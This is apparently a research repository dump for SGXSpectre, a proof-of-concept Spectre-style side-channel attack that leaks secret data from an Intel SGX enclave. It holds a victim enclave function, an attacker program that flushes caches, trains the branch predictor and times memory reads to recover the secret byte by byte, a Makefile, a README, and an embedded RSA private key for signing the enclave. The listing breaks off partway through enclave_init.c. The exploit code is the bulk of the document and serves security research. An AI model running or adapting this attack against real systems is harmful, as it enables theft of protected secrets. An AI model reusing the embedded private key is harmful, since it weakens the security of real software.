├── SGXSpectre ├── enclave │ ├── enclave.lds │ ├── enclave.config.xml │ ├── enclave.edl │ ├── enclave_attack.c │ └── enclave_private.pem ├── main │ ├── enclave_init.h │ ├── main.c │ └── enclave_init.c └── Makefile ├── .gitignore ├── README.md └── LICENSE /SGXSpectre/enclave/enclave.lds: -------------------------------------------------------------------------------- 1 | enclave.so 2 | { 3 | global: 4 | g_global_data_sim; 5 | g_global_data; 6 | enclave_entry; 7 | local: 8 | *; 9 | }; 10 | -------------------------------------------------------------------------------- /SGXSpectre/enclave/enclave.config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 0 4 | 0 5 | 0x40000 6 | 0x4600000 7 | 50 8 | 1 9 | 0 10 | 0 11 | 0xFFFFFFFF 12 | 13 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /SGXSpectre/main/enclave_init.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2018 Imperial College London 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | 16 | #ifndef ENCLAVE_INIT_H_ 17 | #define ENCLAVE_INIT_H_ 18 | 19 | void initialize_enclave(void); 20 | void destroy_enclave(void); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /SGXSpectre/enclave/enclave.edl: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2018 Imperial College London 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | 16 | enclave { 17 | from "sgx_tstdc.edl" import *; 18 | 19 | trusted { 20 | public size_t ecall_get_offset(); 21 | public void ecall_victim_function(size_t x,[user_check] uint8_t * array2, [user_check] unsigned int * outside_array1_size); 22 | }; 23 | 24 | untrusted { 25 | // no ocall 26 | }; 27 | }; 28 | -------------------------------------------------------------------------------- /SGXSpectre/enclave/enclave_attack.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2018 Imperial College London 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | 16 | #include "enclave_t.h" 17 | 18 | //unsigned int array1_size = 16; 19 | uint8_t unused1[64]; 20 | uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; 21 | uint8_t unused2[64]; 22 | 23 | char *secret = "The Magic Words are Squeamish Ossifrage."; 24 | 25 | uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ 26 | 27 | size_t ecall_get_offset() { 28 | temp = secret[0]; //Bring secrete into cache. 29 | return (size_t)(secret-(char*)array1); 30 | } 31 | 32 | void ecall_victim_function(size_t x, uint8_t * array2, unsigned int * outside_array1_size) { 33 | //if (x < array1_size) { 34 | if (x < *outside_array1_size) { 35 | temp &= array2[array1[x] * 512]; 36 | } 37 | } 38 | 39 | -------------------------------------------------------------------------------- /SGXSpectre/enclave/enclave_private.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIG4gIBAAKCAYEAroOogvsj/fZDZY8XFdkl6dJmky0lRvnWMmpeH41Bla6U1qLZ 3 | AmZuyIF+mQC/cgojIsrBMzBxb1kKqzATF4+XwPwgKz7fmiddmHyYz2WDJfAjIveJ 4 | ZjdMjM4+EytGlkkJ52T8V8ds0/L2qKexJ+NBLxkeQLfV8n1mIk7zX7jguwbCG1Pr 5 | nEMdJ3Sew20vnje+RsngAzdPChoJpVsWi/K7cettX/tbnre1DL02GXc5qJoQYk7b 6 | 3zkmhz31TgFrd9VVtmUGyFXAysuSAb3EN+5VnHGr0xKkeg8utErea2FNtNIgua8H 7 | ONfm9Eiyaav1SVKzPHlyqLtcdxH3I8Wg7yqMsaprZ1n5A1v/levxnL8+It02KseD 8 | 5HqV4rf/cImSlCt3lpRg8U5E1pyFQ2IVEC/XTDMiI3c+AR+w2jSRB3Bwn9zJtFlW 9 | KHG3m1xGI4ck+Lci1JvWWLXQagQSPtZTsubxTQNx1gsgZhgv1JHVZMdbVlAbbRMC 10 | 1nSuJNl7KPAS/VfzAgEDAoIBgHRXxaynbVP5gkO0ug6Qw/E27wzIw4SmjsxG6Wpe 11 | K7kfDeRskKxESdsA/xCrKkwGwhcx1iIgS5+Qscd1Yg+1D9X9asd/P7waPmWoZd+Z 12 | AhlKwhdPsO7PiF3e1AzHhGQwsUTt/Y/aSI1MpHBvy2/s1h9mFCslOUxTmWw0oj/Q 13 | ldIEgWeNR72CE2+jFIJIyml6ftnb6qzPiga8Bm48ubKh0kvySOqnkmnPzgh+JBD6 14 | JnBmtZbfPT97bwTT+N6rnPqOOApvfHPf15kWI8yDbprG1l4OCUaIUH1AszxLd826 15 | 5IPM+8gINLRDP1MA6azECPjTyHXhtnSIBZCyWSVkc05vYmNXYUNiXWMajcxW9M02 16 | wKzFELO8NCEAkaTPxwo4SCyIjUxiK1LbQ9h8PSy4c1+gGP4LAMR8xqP4QKg6zdu9 17 | osUGG/xRe/uufgTBFkcjqBHtK5L5VI0jeNIUAgW/6iNbYXjBMJ0GfauLs+g1VsOm 18 | WfdgXzsb9DYdMa0OXXHypmV4GwKBwQDUwQj8RKJ6c8cT4vcWCoJvJF00+RFL+P3i 19 | Gx2DLERxRrDa8AVGfqaCjsR+3vLgG8V/py+z+dxZYSqeB80Qeo6PDITcRKoeAYh9 20 | xlT3LJOS+k1cJcEmlbbO2IjLkTmzSwa80fWexKu8/Xv6vv15gpqYl1ngYoqJM3pd 21 | vzmTIOi7MKSZ0WmEQavrZj8zK4endE3v0eAEeQ55j1GImbypSf7Idh7wOXtjZ7WD 22 | Dg6yWDrri+AP/L3gClMj8wsAxMV4ZR8CgcEA0fzDHkFa6raVOxWnObmRoDhAtE0a 23 | cjUj976NM5yyfdf2MrKy4/RhdTiPZ6b08/lBC/+xRfV3xKVGzacm6QjqjZrUpgHC 24 | 0LKiZaMtccCJjLtPwQd0jGQEnKfMFaPsnhOc5y8qVkCzVOSthY5qhz0XNotHHFmJ 25 | gffVgB0iqrMTvSL7IA2yqqpOqNRlhaYhNl8TiFP3gIeMtVa9rZy31JPgT2uJ+kfo 26 | gV7sdTPEjPWZd7OshGxWpT6QfVDj/T9T7L6tAoHBAI3WBf2DFvxNL2KXT2QHAZ9t 27 | k3imC4f7U+wSE6zILaDZyzygA4RUbwG0gv8/TJVn2P/Eynf76DuWHGlaiLWnCbSz 28 | Az2DHBQBBaku409zDQym3j1ugMRjzzSQWzJg0SIyBH3hTmnYcn3+Uqcp/lEBvGW6 29 | O+rsXFt3pukqJmIV8HzLGGaLm62BHUeZf3dyWm+i3p/hQAL7Xvu04QW70xuGqdr5 30 | afV7p5eaeQIJXyGQJ0eylV/90+qxjMKiB1XYg6WYvwKBwQCL/ddpgOdHJGN8uRom 31 | e7Zq0Csi3hGheMKlKbN3vcxT5U7MdyHtTZZOJbTvxKNNUNYH/8uD+PqDGNneb29G 32 | BfGzvI3EASyLIcGZF3OhKwZd0jUrWk2y7Vhob91jwp2+t73vdMbkKyI4mHOuXvGv 33 | fg95si9oO7EBT+Oqvhccd2J+F1IVXncccYnF4u5ZGWt5lLewN/pVr7MjjykeaHqN 34 | t+rfnQam2psA6fL4zS2zTmZPzR2tnY8Y1GBTi0Ko1OKd1HMCgcAb5cB/7/AQlhP9 35 | yQa04PLH9ygQkKKptZp7dy5WcWRx0K/hAHRoi2aw1wZqfm7VBNu2SLcs90kCCCxp 36 | 6C5sfJi6b8NpNbIPC+sc9wsFr7pGo9SFzQ78UlcWYK2Gu2FxlMjonhka5hvo4zvg 37 | WxlpXKEkaFt3gLd92m/dMqBrHfafH7VwOJY2zT3WIpjwuk0ZzmRg5p0pG/svVQEH 38 | NZmwRwlopysbR69B/n1nefJ84UO50fLh5s5Zr3gBRwbWNZyzhXk= 39 | -----END RSA PRIVATE KEY----- 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # spectre-attack-sgx 2 | Sample code demonstrating a Spectre-like attack against an Intel SGX enclave. 3 | 4 | ## Overview 5 | Given our [ongoing research](https://lsds.doc.ic.ac.uk/projects/sereca) on 6 | Intel SGX here in the LSDS group at Imperial College London, a question that 7 | occurred to us immediately on first hearing of the recent Meltdown and Spectre 8 | attacks is *what are the security implications of speculative execution side 9 | channels for Intel SGX enclaves*? 10 | 11 | This repository contains a proof-of-concept attack (`SGXSpectre`) showing it is 12 | indeed possible to use a speculative execution side-channel to leak data from 13 | an Intel SGX enclave. 14 | 15 | ## Attack Outline 16 | The attack is similar conceptually to the conditional branch misprediction 17 | [Spectre attack](https://spectreattack.com/spectre.pdf) of Kocher et al. The main 18 | difference is that we move the secret data (`secret`) and the victim function 19 | (`victim_function`) and overflow array (`array1`) inside [the 20 | enclave](SGXSpectre/enclave/enclave_attack.c). The 21 | [attacker](SGXSpectre/main/main.c) executes `victim_function` using an ecall, 22 | passing it the index `x` used to index into `array1`. 23 | 24 | ## Code Layout 25 | * `SGXSpectre/main/main.c`: Contains the untrusted code to create the enclave and 26 | mount the SGXSpectre attack. 27 | * `SGXSpectre/enclave/enclave_attack.c`: Contains the enclave secret data 28 | and victim function. 29 | 30 | ## Caveats 31 | * The attack requires that the `array1_size` variable (used to verify that `x` 32 | is within the bounds of `array1`) must *not* be cached. For simplicity our 33 | proof-of-concept currently stores `array1_size` outside the enclave, allowing 34 | the attacker to flush it with a `clflush` instruction before each invocation of 35 | the victim function. In reality this would be unsafe, since the bounds check 36 | should not rely on a value stored in untrusted memory. However the attack could 37 | be adapted to keep `array1_size` inside the enclave by using an alternative 38 | mechanism to flush it before each invocation (e.g. load other data whose 39 | address coincides in the cache). 40 | 41 | * For simplicity we keep the `array2` array whose entries are probed by the 42 | attacker outside the enclave. As mentioned in the [Spectre 43 | paper](https://spectreattack.com/spectre.pdf), a prime+probe attack could 44 | be used to infer the accesses to `array2` if it is not accessible to the attacker 45 | (e.g. if it is moved inside the enclave). 46 | 47 | ## How to run the code 48 | 1. Install Intel(R) SGX SDK for Linux* OS 49 | 2. Build the SGXSpectre project with the prepared Makefile: 50 | * Hardware Mode: 51 | $ make 52 | * Simulation Mode: 53 | $ make SGX_MODE=SIM 54 | 3. Execute the binary directly: 55 | $ ./sgxspectre 56 | 4. Remember to "make clean" before switching build mode 57 | 58 | ## Credits 59 | SGXSpectre is brought to you by Dan O'Keeffe, Divya Muthukumaran, Pierre-Louis 60 | Aublin, Florian Kelbert, Christian Priebe, Josh Lind, Huanzhou Zhu and Peter Pietzuch. 61 | -------------------------------------------------------------------------------- /SGXSpectre/Makefile: -------------------------------------------------------------------------------- 1 | # This Makefile is a modified version of the Intel SGX SDK SampleCode Makefile 2 | 3 | top_srcdir=.. 4 | CC=gcc 5 | CXX=g++ 6 | CCASFLAGS=-g -O2 -Wall -Werror -std=gnu99 -fno-strict-aliasing -fno-strict-overflow -D_FORTIFY_SOURCE=2 -fstack-protector-all -DHAVE_GNU_STACK -Wno-implicit-function-declaration 7 | CFLAGS=-g -O2 -Wall -Werror -std=gnu99 -fno-strict-aliasing -fno-strict-overflow -D_FORTIFY_SOURCE=2 -fstack-protector-all -DHAVE_GNU_STACK -Wno-pointer-sign 8 | CXXFLAGS=-g -O2 -Wall -Werror -std=c++03 -fno-strict-aliasing -fno-strict-overflow -D_FORTIFY_SOURCE=2 -fstack-protector-all -DHAVE_GNU_STACK 9 | CPPFLAGS=-D_DEFAULT_SOURCE -D_BSD_SOURCE -D_POSIX_SOURCE -D_GNU_SOURCE -DNO_SYSLOG -DCOMPILE_WITH_INTEL_SGX 10 | DEFS= 11 | INCLUDE=-I. 12 | LDFLAGS=-Wl,-z,relro -Wl,-z,now 13 | 14 | 15 | ########## Intel SGX ############ 16 | 17 | ##### Parameters ##### 18 | 19 | SGX_SDK ?= /opt/intel/sgxsdk 20 | SGX_MODE ?= HW 21 | SGX_PRERELEASE ?= 1 22 | SGX_COMMON_CFLAGS := -m64 23 | SGX_LIBRARY_PATH := $(SGX_SDK)/lib64 24 | SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x64/sgx_sign 25 | SGX_EDGER8R := $(SGX_SDK)/bin/x64/sgx_edger8r 26 | 27 | SGX_COMMON_CFLAGS += -g -O2 28 | 29 | ifeq ($(SGX_MODE), HW) 30 | Urts_Library_Name := sgx_urts 31 | Trts_Library_Name := sgx_trts 32 | Service_Library_Name := sgx_tservice 33 | else 34 | Urts_Library_Name := sgx_urts_sim 35 | Trts_Library_Name := sgx_trts_sim 36 | Service_Library_Name := sgx_tservice_sim 37 | endif 38 | Crypto_Library_Name := sgx_tcrypto 39 | 40 | Enclave_Name := enclave.so 41 | Signed_Enclave_Name := enclave.signed.so 42 | 43 | Enclave_Config_File := enclave/enclave.config.xml 44 | 45 | App_Link_Flags := $(SGX_COMMON_CFLAGS) -L$(SGX_LIBRARY_PATH) -l$(Urts_Library_Name) 46 | 47 | ifeq ($(SGX_MODE), HW) 48 | App_Link_Flags += -lsgx_uae_service 49 | else 50 | App_Link_Flags += -lsgx_uae_service_sim 51 | endif 52 | 53 | ################################# 54 | 55 | 56 | all: sgxspectre signed_enclave 57 | 58 | 59 | ########## Intel SGX ############ 60 | 61 | ##### App Objects ##### 62 | 63 | App_C_Flags := $(SGX_COMMON_CFLAGS) -fPIC -Wno-attributes -Wno-implicit-function-declaration 64 | 65 | # Three configuration modes - Debug, prerelease, release 66 | # Debug - Macro DEBUG enabled. 67 | # Prerelease - Macro NDEBUG and EDEBUG enabled. 68 | # Release - Macro NDEBUG enabled. 69 | ifeq ($(SGX_DEBUG), 1) 70 | App_C_Flags += -DDEBUG -UNDEBUG -UEDEBUG 71 | else ifeq ($(SGX_PRERELEASE), 1) 72 | App_C_Flags += -DNDEBUG -DEDEBUG -UDEBUG 73 | else 74 | App_C_Flags += -DNDEBUG -UEDEBUG -UDEBUG 75 | endif 76 | 77 | enclave_u.c: $(SGX_EDGER8R) enclave/enclave.edl 78 | cd main && $(SGX_EDGER8R) --untrusted ../enclave/enclave.edl --search-path ../enclave --search-path $(SGX_SDK)/include 79 | @echo "GEN => $@" 80 | 81 | enclave_u.o: enclave_u.c 82 | cd main && $(CC) $(App_C_Flags) -I$(SGX_SDK)/include -c $< -o $@ 83 | @echo "CC <= $<" 84 | 85 | enclave_init.o: main/enclave_init.c 86 | $(CC) $(App_C_Flags) -I$(SGX_SDK)/include -c $< -o main/$@ 87 | @echo "CC <= $<" 88 | 89 | main.o: enclave_u.o main/main.c 90 | cd main && $(CC) -g -O2 -fPIC -DPIC -Werror $(App_C_Flags) -I$(SGX_SDK)/include -c main.c -o $@ 91 | @echo "CC <= $<" 92 | 93 | ##### Enclave Objects ##### 94 | 95 | Enclave_Include_Paths := -Ienclave -I$(SGX_SDK)/include -I$(SGX_SDK)/include/tlibc -I$(SGX_SDK)/include/stlport 96 | 97 | Enclave_C_Flags := $(SGX_COMMON_CFLAGS) -nostdinc -fvisibility=hidden -fpie -fstack-protector $(Enclave_Include_Paths) 98 | Enclave_Cpp_Flags := $(Enclave_C_Flags) -nostdinc -nostdinc++ 99 | Enclave_Link_Flags := $(SGX_COMMON_CFLAGS) -Wl,--no-undefined -nostdlib -nodefaultlibs -nostartfiles -L$(SGX_LIBRARY_PATH) \ 100 | -Wl,--whole-archive -l$(Trts_Library_Name) -Wl,--no-whole-archive \ 101 | -Wl,--start-group -lsgx_tstdc -lsgx_tstdcxx -lsgx_tcmalloc -l$(Crypto_Library_Name) -l$(Service_Library_Name) -Wl,--end-group \ 102 | -Wl,-Bstatic -Wl,-Bsymbolic -Wl,--no-undefined \ 103 | -Wl,-pie,-eenclave_entry -Wl,--export-dynamic \ 104 | -Wl,--defsym,__ImageBase=0 \ 105 | -Wl,--version-script=enclave/enclave.lds 106 | 107 | enclave_t.c: $(SGX_EDGER8R) enclave/enclave.edl 108 | cd enclave && $(SGX_EDGER8R) --trusted ./enclave.edl --search-path . --search-path $(SGX_SDK)/include 109 | @echo "GEN => $@" 110 | 111 | enclave_t.o: enclave_t.c 112 | cd enclave && $(CC) $(Enclave_C_Flags) -c $< -o $@ 113 | @echo "CC <= $<" 114 | 115 | ################################# 116 | 117 | enclave_attack.o: enclave/enclave_attack.c enclave_t.c 118 | $(CC) $(CFLAGS) $(Enclave_C_Flags) -I$(SGX_SDK)/include -fPIC -DPIC -c -o enclave/$@ $< 119 | @echo "CC <= $<" 120 | 121 | enclave: enclave_t.o enclave_attack.o 122 | $(CC) enclave/enclave_t.o enclave/enclave_attack.o -o $(Enclave_Name) $(Enclave_Link_Flags) 123 | @echo "LINK => $(Enclave_Name)" 124 | 125 | signed_enclave: enclave 126 | $(SGX_ENCLAVE_SIGNER) sign -key enclave/enclave_private.pem -enclave $(Enclave_Name) -out $(Signed_Enclave_Name) -config $(Enclave_Config_File) 127 | @echo "SIGN => $(Signed_Enclave_Name)" 128 | 129 | ################################# 130 | 131 | sgxspectre: main.o enclave_u.o enclave_init.o 132 | $(CC) $(CFLAGS) -o $@ main/main.o main/enclave_u.o main/enclave_init.o $(App_Link_Flags) -lpthread 133 | 134 | clean: 135 | find . -iname "enclave_u.?" -delete 136 | find . -iname "enclave_t.?" -delete 137 | find . -iname "$(Enclave_Name)" -delete 138 | find . -iname "$(Signed_Enclave_Name)" -delete 139 | find . -iname "*\.o" -delete 140 | find . -iname "*\.i" -delete 141 | find . -iname "*~" -delete 142 | rm sgxspectre -f 143 | -------------------------------------------------------------------------------- /SGXSpectre/main/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2018 Imperial College London 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #ifdef _MSC_VER 22 | #include /* for rdtscp and clflush */ 23 | #pragma optimize("gt",on) 24 | #else 25 | #include /* for rdtscp and clflush */ 26 | #endif 27 | 28 | #include "enclave_u.h" 29 | #include "enclave_init.h" 30 | 31 | extern sgx_enclave_id_t global_eid; 32 | 33 | unsigned int array1_size = 16; 34 | uint8_t unused1[64]; 35 | uint8_t array1dupe[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; 36 | uint8_t unused2[64]; 37 | uint8_t array2[256 * 512]; 38 | 39 | /******************************************************************** 40 | Analysis code 41 | ********************************************************************/ 42 | #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */ 43 | 44 | /* Report best guess in value[0] and runner-up in value[1] */ 45 | void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { 46 | static int results[256]; 47 | int tries, i, j, k, mix_i; 48 | unsigned int junk = 0; 49 | size_t training_x, x; 50 | register uint64_t time1, time2; 51 | volatile uint8_t *addr; 52 | 53 | for (i = 0; i < 256; i++) 54 | results[i] = 0; 55 | 56 | for (tries = 999; tries > 0; tries--) { 57 | /* Flush array2[256*(0..255)] from cache */ 58 | for (i = 0; i < 256; i++) 59 | _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */ 60 | 61 | /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ 62 | training_x = tries % array1_size; 63 | for (j = 29; j >= 0; j--) { 64 | _mm_clflush(&array1_size); 65 | volatile int z; 66 | for (z = 0; z < 100; z++) {} /* Delay (can also mfence) */ 67 | 68 | /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ 69 | /* Avoid jumps in case those tip off the branch predictor */ 70 | x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ 71 | x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ 72 | x = training_x ^ (x & (malicious_x ^ training_x)); 73 | 74 | /* Call the victim! */ 75 | sgx_status_t ret = SGX_ERROR_UNEXPECTED; 76 | ret = ecall_victim_function(global_eid, x, array2, &array1_size); 77 | if (ret != SGX_SUCCESS) 78 | abort(); 79 | } 80 | 81 | /* Time reads. Order is lightly mixed up to prevent stride prediction */ 82 | for (i = 0; i < 256; i++) { 83 | mix_i = ((i * 167) + 13) & 255; 84 | addr = &array2[mix_i * 512]; 85 | time1 = __rdtscp(&junk); /* READ TIMER */ 86 | junk = *addr; /* MEMORY ACCESS TO TIME */ 87 | time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ 88 | //if (time2 <= CACHE_HIT_THRESHOLD) 89 | if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1dupe[tries % array1_size]) 90 | { 91 | results[mix_i]++; /* cache hit - add +1 to score for this value */ 92 | } 93 | } 94 | 95 | /* Locate highest & second-highest results results tallies in j/k */ 96 | j = k = -1; 97 | for (i = 0; i < 256; i++) { 98 | if (j < 0 || results[i] >= results[j]) { 99 | k = j; 100 | j = i; 101 | } else if (k < 0 || results[i] >= results[k]) { 102 | k = i; 103 | } 104 | } 105 | 106 | if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) 107 | break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ 108 | } 109 | 110 | results[0] ^= junk; /* use junk so code above won’t get optimized out*/ 111 | value[0] = (uint8_t)j; 112 | score[0] = results[j]; 113 | value[1] = (uint8_t)k; 114 | score[1] = results[k]; 115 | } 116 | 117 | 118 | int spectre_main(int argc, char **argv) { 119 | size_t malicious_x; 120 | sgx_status_t ret = ecall_get_offset(global_eid, &malicious_x); /* default for malicious_x */ 121 | if (ret != SGX_SUCCESS) 122 | abort(); 123 | 124 | 125 | int i, score[2], len=40; 126 | uint8_t value[2]; 127 | 128 | for (i = 0; i < sizeof(array2); i++) 129 | array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ 130 | 131 | if (argc == 3) { 132 | sscanf(argv[1], "%p", (void**)(&malicious_x)); 133 | malicious_x -= (size_t)array1dupe; /* Convert input value into a pointer */ 134 | sscanf(argv[2], "%d", &len); 135 | } 136 | 137 | printf("Reading %d bytes:\n", len); 138 | 139 | while (--len >= 0) { 140 | printf("Reading at malicious_x = %p... ", (void*)malicious_x); 141 | readMemoryByte(malicious_x++, value, score); 142 | printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear")); 143 | printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); 144 | if (score[1] > 0) 145 | printf("(second best: 0x%02X score=%d)", value[1], score[1]); 146 | printf("\n"); 147 | } 148 | 149 | return (0); 150 | } 151 | 152 | /* Application entry */ 153 | int main(int argc, char *argv[]) 154 | { 155 | /* Initialize the enclave */ 156 | initialize_enclave(); 157 | 158 | /* Call the main attack function*/ 159 | spectre_main(argc, argv); 160 | 161 | /* Destroy the enclave */ 162 | destroy_enclave(); 163 | 164 | return 0; 165 | } 166 | 167 | -------------------------------------------------------------------------------- /SGXSpectre/main/enclave_init.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2011-2017 Intel Corporation. All rights reserved. 3 | * 4 | * Redistribution and use in source and binary forms, with or without 5 | * modification, are permitted provided that the following conditions 6 | * are met: 7 | * 8 | * * Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * * Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in 12 | * the documentation and/or other materials provided with the 13 | * distribution. 14 | * * Neither the name of Intel Corporation nor the names of its 15 | * contributors may be used to endorse or promote products derived 16 | * from this software without specific prior written permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 19 | * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 20 | * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 21 | * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 22 | * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 23 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 24 | * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 25 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 26 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 27 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | * 30 | */ 31 | 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | 40 | #include "sgx_error.h" /* sgx_status_t */ 41 | #include "sgx_eid.h" /* sgx_enclave_id_t */ 42 | #include "sgx_urts.h" 43 | 44 | #ifndef TRUE 45 | #define TRUE 1 46 | #endif 47 | 48 | #ifndef FALSE 49 | #define FALSE 0 50 | #endif 51 | 52 | # define TOKEN_FILENAME "enclave.token" 53 | # define ENCLAVE_FILENAME "enclave.signed.so" 54 | 55 | #include "enclave_init.h" 56 | 57 | #define MAX_PATH 256 58 | 59 | /* Global EID shared by multiple threads */ 60 | sgx_enclave_id_t global_eid = 0; 61 | 62 | typedef struct _sgx_errlist_t { 63 | sgx_status_t err; 64 | const char *msg; 65 | const char *sug; /* Suggestion */ 66 | } sgx_errlist_t; 67 | 68 | static sgx_errlist_t sgx_errlist[] = { 69 | { 70 | SGX_ERROR_UNEXPECTED, 71 | "Unexpected error occurred.", 72 | NULL 73 | }, 74 | { 75 | SGX_ERROR_INVALID_PARAMETER, 76 | "Invalid parameter.", 77 | NULL 78 | }, 79 | { 80 | SGX_ERROR_OUT_OF_MEMORY, 81 | "Out of memory.", 82 | NULL 83 | }, 84 | { 85 | SGX_ERROR_ENCLAVE_LOST, 86 | "Power transition occurred.", 87 | "Please refer to the sample \"PowerTransition\" for details." 88 | }, 89 | { 90 | SGX_ERROR_INVALID_ENCLAVE, 91 | "Invalid enclave image.", 92 | NULL 93 | }, 94 | { 95 | SGX_ERROR_INVALID_ENCLAVE_ID, 96 | "Invalid enclave identification.", 97 | NULL 98 | }, 99 | { 100 | SGX_ERROR_INVALID_SIGNATURE, 101 | "Invalid enclave signature.", 102 | NULL 103 | }, 104 | { 105 | SGX_ERROR_OUT_OF_EPC, 106 | "Out of EPC memory.", 107 | NULL 108 | }, 109 | { 110 | SGX_ERROR_NO_DEVICE, 111 | "Invalid SGX device.", 112 | "Please make sure SGX module is enabled in the BIOS, and install SGX driver afterwards." 113 | }, 114 | { 115 | SGX_ERROR_MEMORY_MAP_CONFLICT, 116 | "Memory map conflicted.", 117 | NULL 118 | }, 119 | { 120 | SGX_ERROR_INVALID_METADATA, 121 | "Invalid enclave metadata.", 122 | NULL 123 | }, 124 | { 125 | SGX_ERROR_DEVICE_BUSY, 126 | "SGX device was busy.", 127 | NULL 128 | }, 129 | { 130 | SGX_ERROR_INVALID_VERSION, 131 | "Enclave version was invalid.", 132 | NULL 133 | }, 134 | { 135 | SGX_ERROR_INVALID_ATTRIBUTE, 136 | "Enclave was not authorized.", 137 | NULL 138 | }, 139 | { 140 | SGX_ERROR_ENCLAVE_FILE_ACCESS, 141 | "Can't open enclave file.", 142 | NULL 143 | }, 144 | }; 145 | 146 | /* Check error conditions for loading enclave */ 147 | void 